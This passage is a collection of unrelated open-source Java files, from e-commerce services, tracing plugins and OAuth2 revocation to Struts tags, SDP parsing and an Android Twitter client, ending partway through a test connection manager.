Revision 1.5 2003/03/03 11:12:03 billhorsman
fixed licence
Revision 1.4 2003/02/19 15:14:19 billhorsman
fixed copyright (copy and paste error,
not copyright change)
Revision 1.3 2002/11/09 15:58:54 billhorsman
fix and added doc
Revision 1.2 2002/11/09 14:45:07 billhorsman
now threaded and better exception handling
Revision 1.1 2002/11/06 21:07:42 billhorsman
New interfaces to allow filtering of commands
*/
|
package com.atguigu.gmall.sms.service;
import com.baomidou.mybatisplus.extension.service.IService;
import com.atguigu.gmall.common.bean.PageResultVo;
import com.atguigu.gmall.common.bean.PageParamVo;
import com.atguigu.gmall.sms.entity.SeckillSessionEntity;
import java.util.Map;
/**
* 秒杀活动场次
*
* @author zxn
* @email zxn@atguigu.com
* @date 2020-10-28 10:01:35
*/
public interface SeckillSessionService extends IService<SeckillSessionEntity> {
PageResultVo queryPage(PageParamVo paramVo);
}
|
/*
* The MIT License
* Copyright © 2014-2019 Ilkka Seppälä
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.iluwatar.typeobject;
import com.iluwatar.typeobject.Candy.Type;
import org.json.simple.parser.ParseException;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
/**
* The CellPool class allows the reuse of crushed cells instead of creation of new cells each time.
* The reused cell is given a new candy to hold using the randomCode field which holds all the
* candies available.
*/
public class CellPool {
private static final Random RANDOM = new Random();
List<Cell> pool;
int pointer;
Candy[] randomCode;
CellPool(int num) {
this.pool = new ArrayList<>(num);
try {
this.randomCode = assignRandomCandytypes();
} catch (Exception e) {
e.printStackTrace();
//manually initialising this.randomCode
this.randomCode = new Candy[5];
randomCode[0] = new Candy("cherry", "fruit", Type.rewardFruit, 20);
randomCode[1] = new Candy("mango", "fruit", Type.rewardFruit, 20);
randomCode[2] = new Candy("purple popsicle", "candy", Type.crushableCandy, 10);
randomCode[3] = new Candy("green jellybean", "candy", Type.crushableCandy, 10);
randomCode[4] = new Candy("orange gum", "candy", Type.crushableCandy, 10);
}
for (int i = 0; i < num; i++) {
var c = new Cell();
c.candy = randomCode[RANDOM.nextInt(randomCode.length)];
this.pool.add(c);
}
this.pointer = num - 1;
}
Cell getNewCell() {
var newCell = this.pool.remove(pointer);
pointer--;
return newCell;
}
void addNewCell(Cell c) {
c.candy = randomCode[RANDOM.nextInt(randomCode.length)]; //changing candytype to new
this.pool.add(c);
pointer++;
}
Candy[] assignRandomCandytypes() throws FileNotFoundException, IOException, ParseException {
var jp = new JsonParser();
jp.parse();
var randomCode = new Candy[jp.candies.size() - 2]; //exclude generic types 'fruit' and 'candy'
var i = 0;
for (var e = jp.candies.keys(); e.hasMoreElements(); ) {
var s = e.nextElement();
if (!s.equals("fruit") && !s.equals("candy")) {
//not generic
randomCode[i] = jp.candies.get(s);
i++;
}
}
return randomCode;
}
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.apache.skywalking.apm.plugin.nacos.client.grpc.server;
import io.grpc.Metadata;
import io.grpc.ServerCall;
import io.grpc.ServerCallHandler;
import org.apache.skywalking.apm.agent.core.context.CarrierItem;
import org.apache.skywalking.apm.agent.core.context.ContextCarrier;
import org.apache.skywalking.apm.agent.core.context.ContextManager;
import org.apache.skywalking.apm.agent.core.context.trace.AbstractSpan;
import org.apache.skywalking.apm.agent.core.context.trace.SpanLayer;
import org.apache.skywalking.apm.network.trace.component.ComponentsDefine;
import org.apache.skywalking.apm.plugin.nacos.client.grpc.OperationNameFormatUtil;
import org.apache.skywalking.apm.util.StringUtil;
public class ServerInterceptor implements io.grpc.ServerInterceptor {
@Override
public <REQUEST, RESPONSE> ServerCall.Listener<REQUEST> interceptCall(ServerCall<REQUEST, RESPONSE> call,
Metadata headers, ServerCallHandler<REQUEST, RESPONSE> handler) {
final ContextCarrier contextCarrier = new ContextCarrier();
CarrierItem next = contextCarrier.items();
while (next.hasNext()) {
next = next.next();
String contextValue = headers.get(Metadata.Key.of(next.getHeadKey(), Metadata.ASCII_STRING_MARSHALLER));
if (!StringUtil.isEmpty(contextValue)) {
next.setHeadValue(contextValue);
}
}
final AbstractSpan span = ContextManager.createEntrySpan(OperationNameFormatUtil.formatOperationName(call.getMethodDescriptor()), contextCarrier);
span.setComponent(ComponentsDefine.GRPC);
span.setLayer(SpanLayer.RPC_FRAMEWORK);
try {
return new TracingServerCallListener<>(handler.startCall(new TracingServerCall<>(call, ContextManager.capture()), headers), call
.getMethodDescriptor(), ContextManager.capture());
} finally {
ContextManager.stopSpan();
}
}
}
|
package com.szeljic.pharmacy.Beans;
public class UserBean implements Comparable<UserBean>
{
private String username, password, firstName, lastName, umcn;
private int type, id;
private boolean valid;
public UserBean(){
}
public int getId()
{
return id;
}
public void setId(int id)
{
this.id = id;
}
public boolean isValid()
{
return valid;
}
public void setValid(boolean valid)
{
this.valid = valid;
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public String getPassword()
{
return password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getFirstName()
{
return firstName;
}
public void setFirstName(String firstName)
{
this.firstName = firstName;
}
public String getLastName()
{
return lastName;
}
public void setLastName(String lastName)
{
this.lastName = lastName;
}
public String getUmcn()
{
return umcn;
}
public void setUmcn(String umcn)
{
this.umcn = umcn;
}
public int getType()
{
return type;
}
public void setType(int type)
{
this.type = type;
}
public int compareTo(UserBean o)
{
String compare = o.getUsername();
return this.username.compareToIgnoreCase(compare);
}
}
|
package alephinfinity1.forgeblock.misc.itemreqs;
import java.util.List;
import java.util.function.Predicate;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.util.text.ITextComponent;
/**
* A specialisation of predicates that targets players.
*/
public interface IRequirementPredicate extends Predicate<PlayerEntity> {
public List<ITextComponent> getDisplay(boolean isMet);
public default List<ITextComponent> getDisplay(PlayerEntity player) {
return this.getDisplay(this.test(player));
}
}
|
/*
* Copyright 2016 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.schemaorg.core;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMultimap;
import com.google.schemaorg.SchemaOrgException;
import com.google.schemaorg.SchemaOrgType;
import com.google.schemaorg.ValueType;
import javax.annotation.Nullable;
/*
* Enum values of <a href="http://schema.org/PhysicalActivityCategory">http://schema.org/PhysicalActivityCategory</a>.
*/
public enum PhysicalActivityCategoryEnum implements PhysicalActivityCategory {
AEROBIC_ACTIVITY(CoreConstants.NAMESPACE + "AerobicActivity"),
ANAEROBIC_ACTIVITY(CoreConstants.NAMESPACE + "AnaerobicActivity"),
BALANCE(CoreConstants.NAMESPACE + "Balance"),
FLEXIBILITY(CoreConstants.NAMESPACE + "Flexibility"),
LEISURE_TIME_ACTIVITY(CoreConstants.NAMESPACE + "LeisureTimeActivity"),
OCCUPATIONAL_ACTIVITY(CoreConstants.NAMESPACE + "OccupationalActivity"),
STRENGTH_TRAINING(CoreConstants.NAMESPACE + "StrengthTraining");
private final String enumValue;
PhysicalActivityCategoryEnum(String enumValue) {
this.enumValue = enumValue;
}
@Override
public String getFullEnumValue() {
return enumValue;
}
@Override
public boolean containsJsonLdId() {
return false;
}
@Override
public ImmutableList<ValueType> getJsonLdContextList() {
return ImmutableList.of();
}
@Override
@Nullable
public String getJsonLdId() throws SchemaOrgException {
return null;
}
@Override
public ImmutableMultimap<String, Thing> getJsonLdReverseMap() {
return ImmutableMultimap.of();
}
@Override
public String getFullTypeName() {
return CoreConstants.TYPE_PHYSICAL_ACTIVITY_CATEGORY;
}
@Override
public boolean includesProperty(String property) {
return false;
}
@Override
public boolean contentEquals(ValueType o) {
return (o == this);
}
@Override
public ImmutableList<SchemaOrgType> getAdditionalTypeList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getAlternateNameList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getCodeList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getDescriptionList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getGuidelineList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getImageList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getMainEntityOfPageList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getMedicineSystemList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getNameList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getPotentialActionList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getRecognizingAuthorityList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getRelevantSpecialtyList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getSameAsList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getStudyList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getSupersededByList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getUrlList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getDetailedDescriptionList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getPopularityScoreList() {
return ImmutableList.of();
}
@Override
public ImmutableList<SchemaOrgType> getProperty(String name) {
return ImmutableList.of();
}
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.rs.security.oauth2.services;
import javax.ws.rs.Consumes;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.MultivaluedMap;
import javax.ws.rs.core.Response;
import org.apache.cxf.rs.security.oauth2.common.Client;
import org.apache.cxf.rs.security.oauth2.provider.OAuthServiceException;
import org.apache.cxf.rs.security.oauth2.utils.OAuthConstants;
/**
* OAuth2 Token Revocation Service implementation
*/
@Path("/revoke")
public class TokenRevocationService extends AbstractTokenService {
/**
* Processes a token revocation request
* @param params the form parameters representing the access token grant
* @return Access Token or the error
*/
@POST
@Consumes("application/x-www-form-urlencoded")
@Produces("application/json")
public Response handleTokenRevocation(MultivaluedMap<String, String> params) {
// Make sure the client is authenticated
Client client = authenticateClientIfNeeded(params);
String token = params.getFirst(OAuthConstants.TOKEN_ID);
if (token == null) {
return createErrorResponse(params, OAuthConstants.UNSUPPORTED_TOKEN_TYPE);
}
String tokenTypeHint = params.getFirst(OAuthConstants.TOKEN_TYPE_HINT);
if (tokenTypeHint != null
&& !OAuthConstants.ACCESS_TOKEN.equals(tokenTypeHint)
&& !OAuthConstants.REFRESH_TOKEN.equals(tokenTypeHint)) {
return createErrorResponseFromErrorCode(OAuthConstants.UNSUPPORTED_TOKEN_TYPE);
}
try {
getDataProvider().revokeToken(client, token, tokenTypeHint);
} catch (OAuthServiceException ex) {
// Spec: The authorization server responds with HTTP status code 200 if the
// token has been revoked successfully or if the client submitted an
// invalid token
}
return Response.ok().build();
}
}
|
/**
* Copyright © 2012-2016 <a href="https://github.com/thinkgem/jeesite">JeeSite</a> All rights reserved.
*/
package com.yunnex.ops.erp.modules.gen.entity;
import java.util.List;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlTransient;
import org.hibernate.validator.constraints.Length;
import com.google.common.collect.Lists;
import com.yunnex.ops.erp.common.persistence.DataEntity;
import com.yunnex.ops.erp.common.utils.StringUtils;
/**
* 生成方案Entity
* @author ThinkGem
* @version 2013-10-15
*/
@XmlRootElement(name="template")
public class GenTemplate extends DataEntity<GenTemplate> {
private static final long serialVersionUID = 1L;
private String name; // 名称
private String category; // 分类
private String filePath; // 生成文件路径
private String fileName; // 文件名
private String content; // 内容
public GenTemplate() {
super();
}
public GenTemplate(String id){
super(id);
}
@Length(min=1, max=200)
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getFileName() {
return fileName;
}
public void setFileName(String fileName) {
this.fileName = fileName;
}
public String getFilePath() {
return filePath;
}
public void setFilePath(String filePath) {
this.filePath = filePath;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
@XmlTransient
public List<String> getCategoryList() {
if (category == null){
return Lists.newArrayList();
}else{
return Lists.newArrayList(StringUtils.split(category, ","));
}
}
public void setCategoryList(List<String> categoryList) {
if (categoryList == null){
this.category = "";
}else{
this.category = ","+StringUtils.join(categoryList, ",") + ",";
}
}
}
|
/*
* $Id: NestedLessThanTag.java 471754 2006-11-06 14:55:09Z husted $
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.struts.taglib.nested.logic;
import org.apache.struts.taglib.logic.LessThanTag;
import org.apache.struts.taglib.nested.NestedNameSupport;
import org.apache.struts.taglib.nested.NestedPropertyHelper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.jsp.JspException;
/**
* NestedLessThanTag.
*
* @version $Rev: 471754 $ $Date: 2004-10-16 12:38:42 -0400 (Sat, 16 Oct 2004)
* $
* @since Struts 1.1
*/
public class NestedLessThanTag extends LessThanTag implements NestedNameSupport {
/* the usual private member variables */
private String originalName = null;
private String originalProperty = null;
/**
* Overriding method of the heart of the matter. Gets the relative
* property and leaves the rest up to the original tag implementation.
* Sweet.
*
* @return int JSP continuation directive. This is in the hands of the
* super class.
*/
public int doStartTag() throws JspException {
// get the original properties
originalName = getName();
originalProperty = getProperty();
// request
HttpServletRequest request =
(HttpServletRequest) pageContext.getRequest();
// set the properties
NestedPropertyHelper.setNestedProperties(request, this);
// let the super do it's thing
return super.doStartTag();
}
/**
* Complete the processing of the tag. The nested tags here will restore
* all the original value for the tag itself and the nesting context.
*
* @return int to describe the next step for the JSP processor
* @throws JspException for the bad things JSP's do
*/
public int doEndTag() throws JspException {
// do the super's ending part
int i = super.doEndTag();
// reset the properties
setName(originalName);
setProperty(originalProperty);
// continue
return i;
}
/**
* Release the tag's resources and reset the values.
*/
public void release() {
super.release();
// reset the originals
originalName = null;
originalProperty = null;
}
}
|
package com.bovendorp.andre.paralax;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() throws Exception {
assertEquals(4, 2 + 2);
}
}
|
/*
* Conditions Of Use
*
* This software was developed by employees of the National Institute of
* Standards and Technology (NIST), an agency of the Federal Government.
* Pursuant to title 15 Untied States Code Section 105, works of NIST
* employees are not subject to copyright protection in the United States
* and are considered to be in the public domain. As a result, a formal
* license is not needed to use the software.
*
* This software is provided by NIST as a service and is expressly
* provided "AS IS." NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS, IMPLIED
* OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT
* AND DATA ACCURACY. NIST does not warrant or make any representations
* regarding the use of the software or the results thereof, including but
* not limited to the correctness, accuracy, reliability or usefulness of
* the software.
*
* Permission to use this software is contingent upon your acceptance
* of the terms of this agreement
*
* .
*
*/
package co.ecg.jain_sip.sdp;
import co.ecg.jain_sip.sdp.fields.RepeatField;
import co.ecg.jain_sip.sdp.fields.TimeField;
import java.util.Vector;
/**
* Implementation of Time Description
*
* @version 1.2
*
* @author Olivier Deruelle
* @author M. Ranganathan <br/>
*
*
*
*/
public class TimeDescriptionImpl implements TimeDescription {
private TimeField timeImpl;
private Vector repeatList;
/** Creates new TimeDescriptionImpl */
public TimeDescriptionImpl() {
timeImpl = new TimeField();
repeatList = new Vector();
}
/**
* constructor
*
* @param timeField
* time field to create this descrition from
*/
public TimeDescriptionImpl(TimeField timeField) {
this.timeImpl = timeField;
repeatList = new Vector();
}
/**
* Returns the Time field.
*
* @return Time
*/
public Time getTime() {
return timeImpl;
}
/**
* Sets the Time field.
*
* @param timeField
* Time to set
* @throws SdpException
* if the time is null
*/
public void setTime(Time timeField) throws SdpException {
if (timeField == null) {
throw new SdpException("The parameter is null");
} else {
if (timeField instanceof TimeField) {
this.timeImpl = (TimeField) timeField;
} else
throw new SdpException(
"The parameter is not an instance of TimeField");
}
}
/**
* Returns the list of repeat times (r= fields) specified in the
* SessionDescription.
*
* @param create
* boolean to set
* @return Vector
*/
public Vector getRepeatTimes(boolean create) {
return this.repeatList;
}
/**
* Returns the list of repeat times (r= fields) specified in the
* SessionDescription.
*
* @param repeatTimes
* Vector to set
* @throws SdpException
* if the parameter is null
*/
public void setRepeatTimes(Vector repeatTimes) throws SdpException {
this.repeatList = repeatTimes;
}
/**
* Add a repeat field.
*
* @param repeatField --
* repeat field to add.
*/
public void addRepeatField(RepeatField repeatField) {
if (repeatField == null)
throw new NullPointerException("null repeatField");
this.repeatList.add(repeatField);
}
public String toString() {
String retval = timeImpl.encode();
for (int i = 0; i < this.repeatList.size(); i++) {
RepeatField repeatField = (RepeatField) this.repeatList
.elementAt(i);
retval += repeatField.encode();
}
return retval;
}
}
|
package com.codepath.apps.restclienttemplate;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.FragmentManager;
import android.support.v4.view.MenuItemCompat;
import android.support.v4.widget.SwipeRefreshLayout;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.ProgressBar;
import com.codepath.apps.restclienttemplate.models.Tweet;
import com.loopj.android.http.JsonHttpResponseHandler;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.parceler.Parcels;
import java.util.ArrayList;
import butterknife.ButterKnife;
import cz.msebera.android.httpclient.Header;
public class TimelineActivity extends AppCompatActivity {
// Instance of the progress action-view
MenuItem miActionProgressItem;
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
// Store instance of the menu item containing progress
miActionProgressItem = menu.findItem(R.id.miActionProgress);
// Extract the action-view from the menu item
ProgressBar v = (ProgressBar) MenuItemCompat.getActionView(miActionProgressItem);
// Return to finish
return super.onPrepareOptionsMenu(menu);
}
public void showProgressBar() {
// Show progress item
miActionProgressItem.setVisible(true);
}
public void hideProgressBar() {
// Hide progress item
miActionProgressItem.setVisible(false);
}
TwitterClient client;
TweetAdapter tweetAdapter;
ArrayList<Tweet> tweets;
// @BindView(R.id.rvTweets) RecyclerView rvTweets;
RecyclerView rvTweets;
private final int REQUEST_CODE = 20;
private final int RESULT_OK = 20;
// Store a member variable for the listener
private EndlessRecyclerViewScrollListener scrollListener;
public void onComposeAction(MenuItem mi) {
Intent i = new Intent(TimelineActivity.this, ComposeActivity.class);
i.putExtra("reply", false);
i.putExtra("username", "abi"); // pass arbitrary data to launched activity
startActivityForResult(i, REQUEST_CODE);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
private SwipeRefreshLayout swipeContainer;
// TextView tvBody = (TextView) findViewById(R.id.tvBody);
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_timeline);
ButterKnife.bind(this);
// Lookup the swipe container view
swipeContainer = (SwipeRefreshLayout) findViewById(R.id.swipeContainer);
// Setup refresh listener which triggers new data loading
swipeContainer.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
@Override
public void onRefresh() {
// Your code to refresh the list here.
// Make sure you call swipeContainer.setRefreshing(false)
// once the network request has completed successfully.
fetchTimelineAsync();
}
});
// Configure the refreshing colors
swipeContainer.setColorSchemeResources(android.R.color.holo_blue_bright,
android.R.color.holo_green_light,
android.R.color.holo_orange_light,
android.R.color.holo_red_light);
// Find the toolbar view inside the activity layout
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
// Sets the Toolbar to act as the ActionBar for this Activity window.
// Make sure the toolbar exists in the activity and is not null
setSupportActionBar(toolbar);
client = TwitterApp.getRestClient();
// find the recycler view
rvTweets = (RecyclerView) findViewById(R.id.rvTweet);
// init the arraylist (data source)
tweets = new ArrayList<>();
// construct the adapter from this datasource
tweetAdapter = new TweetAdapter(tweets);
//RecyclerView setup (layout manager, use adapter)
LinearLayoutManager linearLayoutManager = new LinearLayoutManager(this);
rvTweets.setLayoutManager(linearLayoutManager);
scrollListener = new EndlessRecyclerViewScrollListener(linearLayoutManager) {
@Override
public void onLoadMore(int page, int totalItemsCount, RecyclerView view) {
// Triggered only when new data needs to be appended to the list
// Add whatever code is needed to append new items to the bottom of the list
loadNextDataFromApi(totalItemsCount - 1);
}
};
// Adds the scroll listener to RecyclerView
rvTweets.addOnScrollListener(scrollListener);
// set the adapter
rvTweets.setAdapter(tweetAdapter);
populateTimeline();
// showEditDialog();
}
private void showEditDialog() {
FragmentManager fm = getSupportFragmentManager();
EditNameDialogFragment editNameDialogFragment = EditNameDialogFragment.newInstance("username");
editNameDialogFragment.show(fm, "fragment_edit_name");
Intent i = new Intent(TimelineActivity.this, ComposeActivity.class);
i.putExtra("reply", false);
//i.putExtra("username", "abi"); // pass arbitrary data to launched activity
startActivityForResult(i, REQUEST_CODE);
}
// Append the next page of data into the adapter
// This method probably sends out a network request and appends new data items to your adapter.
public void loadNextDataFromApi(int offset) {
long Id = tweets.get(tweets.size()-1).uid;
client.getHomeTimeline(Id, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
hideProgressBar();
for (int i = 0; i < json.length(); i++) {
Tweet tweet = null;
try {
tweet = Tweet.fromJSON(json.getJSONObject(i));
} catch (JSONException e) {
e.printStackTrace();
}
tweets.add(tweet);
tweetAdapter.notifyItemInserted(tweets.size() - 1);
}
// Now we call setRefreshing(false) to signal refresh has finished
swipeContainer.setRefreshing(false);
}
public void onFailure(Throwable e) {
hideProgressBar();
Log.d("DEBUG", "Fetch timeline error: " + e.toString());
}
});
}
public void fetchTimelineAsync() {
//long Id = tweets.get(tweets.size()-1).uid;
// Send the network request to fetch the updated data
// `client` here is an instance of Android Async HTTP
// getHomeTimeline is an example endpoint.
showProgressBar();
client.getHomeTimelineFirst( new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray json) {
hideProgressBar();
tweetAdapter.clear();
for (int i = 0; i < json.length(); i++) {
Tweet tweet = null;
try {
tweet = Tweet.fromJSON(json.getJSONObject(i));
} catch (JSONException e) {
e.printStackTrace();
}
tweets.add(tweet);
tweetAdapter.notifyItemInserted(tweets.size() - 1);
}
// Now we call setRefreshing(false) to signal refresh has finished
swipeContainer.setRefreshing(false);
}
public void onFailure(Throwable e) {
hideProgressBar();
Log.d("DEBUG", "Fetch timeline error: " + e.toString());
}
});
}
private void populateTimeline(){
client.getHomeTimelineFirst( new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray response) {
// iterate through the JSON array
// for each entry, deserialize the JSON object
for (int i=0; i < response.length(); i++) {
// convert each object to a Tweet model
// add that Tweet model to our data source
// notify the adapter that we've added an item
try {
Tweet tweet = Tweet.fromJSON(response.getJSONObject(i));
tweets.add(tweet);
tweetAdapter.notifyItemInserted(i-1);
}
catch (JSONException e) {
e.printStackTrace();
}
}
}
@Override
public void onSuccess(int statusCode, Header[] headers, JSONObject response) {
Log.d("TwitterClient", response.toString());
}
@Override
public void onFailure(int statusCode, Header[] headers, String responseString, Throwable throwable) {
Log.d("TwitterClient", responseString);
throwable.printStackTrace();
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) {
Log.d("TwitterClient", errorResponse.toString());
throwable.printStackTrace();
}
@Override
public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONArray errorResponse) {
Log.d("TwitterClient", errorResponse.toString());
throwable.printStackTrace();
}
});
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
// REQUEST_CODE is defined above
if (resultCode == RESULT_OK && requestCode == REQUEST_CODE) {
Tweet tweet = (Tweet) Parcels.unwrap(data.getParcelableExtra("NewTweet"));
tweets.add(0, tweet);
tweetAdapter.notifyItemInserted(0);
rvTweets.scrollToPosition(0);
}
if (requestCode == 3){
fetchTimelineAsync();
}
}
}
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.codelibs.fesen.test.transport;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import org.codelibs.fesen.action.ActionListener;
import org.codelibs.fesen.cluster.node.DiscoveryNode;
import org.codelibs.fesen.common.transport.TransportAddress;
import org.codelibs.fesen.transport.ConnectTransportException;
import org.codelibs.fesen.transport.ConnectionManager;
import org.codelibs.fesen.transport.ConnectionProfile;
import org.codelibs.fesen.transport.Transport;
import org.codelibs.fesen.transport.TransportConnectionListener;
public class StubbableConnectionManager implements ConnectionManager {
private final ConnectionManager delegate;
private final ConcurrentMap<TransportAddress, GetConnectionBehavior> getConnectionBehaviors;
private volatile GetConnectionBehavior defaultGetConnectionBehavior = ConnectionManager::getConnection;
private volatile NodeConnectedBehavior defaultNodeConnectedBehavior = ConnectionManager::nodeConnected;
public StubbableConnectionManager(ConnectionManager delegate) {
this.delegate = delegate;
this.getConnectionBehaviors = new ConcurrentHashMap<>();
}
public boolean addGetConnectionBehavior(TransportAddress transportAddress, GetConnectionBehavior connectBehavior) {
return getConnectionBehaviors.put(transportAddress, connectBehavior) == null;
}
public boolean setDefaultGetConnectionBehavior(GetConnectionBehavior behavior) {
GetConnectionBehavior prior = defaultGetConnectionBehavior;
defaultGetConnectionBehavior = behavior;
return prior == null;
}
public boolean setDefaultNodeConnectedBehavior(NodeConnectedBehavior behavior) {
NodeConnectedBehavior prior = defaultNodeConnectedBehavior;
defaultNodeConnectedBehavior = behavior;
return prior == null;
}
public void clearBehaviors() {
defaultGetConnectionBehavior = ConnectionManager::getConnection;
getConnectionBehaviors.clear();
}
public void clearBehavior(TransportAddress transportAddress) {
getConnectionBehaviors.remove(transportAddress);
}
@Override
public void openConnection(DiscoveryNode node, ConnectionProfile connectionProfile, ActionListener<Transport.Connection> listener) {
delegate.openConnection(node, connectionProfile, listener);
}
@Override
public Transport.Connection getConnection(DiscoveryNode node) {
TransportAddress address = node.getAddress();
GetConnectionBehavior behavior = getConnectionBehaviors.getOrDefault(address, defaultGetConnectionBehavior);
return behavior.getConnection(delegate, node);
}
@Override
